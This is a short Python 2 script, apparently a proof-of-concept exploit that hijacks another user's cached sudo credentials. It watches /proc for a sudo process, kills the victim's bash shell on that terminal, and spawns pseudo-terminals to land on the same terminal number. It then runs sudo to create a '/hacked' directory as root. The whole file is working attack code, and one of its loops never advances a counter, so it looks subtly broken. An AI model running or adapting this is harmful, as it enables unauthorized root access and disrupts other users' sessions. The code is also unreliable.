#!/usr/bin/env python
import os,time,signal,pty
def GetTty(pid):
    stdout,stdin=os.popen2("ps -p "+str(pid))
    stdin.readline()
    line=stdin.readline()
    return line[10:11]
found=False
target=0
bash=[]
print "waiting for a sudo session"
while not found:
    dirs=os.listdir('/proc')
    bash=[]
    time.sleep(0.2)
    for d in dirs:
        try:
            pid=int(d)
            cmd=os.readlink("/proc/"+d+"/exe")
            if(cmd=="/bin/bash"):
                tty=int(os.readlink("/proc/"+d+"/fd/0")[9:])
                bash.append((pid,tty))
        except ValueError:
            pass
        except OSError, e:
            pass
        except IOError, e:
            pass
    for d in dirs:
        try:
            pid=int(d)
            fd=open("/proc/"+d+"/cmdline","rb")
            cmd=fd.readline()
            if(cmd[:5]=="sudo\0"):
                target=int(GetTty(pid))
                found=True
            fd.close()
        except ValueError:
            pass
        except OSError, e:
            pass
        except IOError, e:
            pass
print "found a sudo session, waiting for password"
time.sleep(10)
shells=target
for b in bash:
    if b[1]==target:
        try:
            os.kill(b[0],signal.SIGKILL)
            os.waitpid(b[0],0)
        except OSError, e:
            pass
    elif b[1]<target:
        shells-=1
time.sleep(1)
count=1
while count<shells:
    pty.spawn("sleep 5")
pty.spawn(("/usr/bin/sudo","mkdir","/hacked"))
print "created  directory /hacked"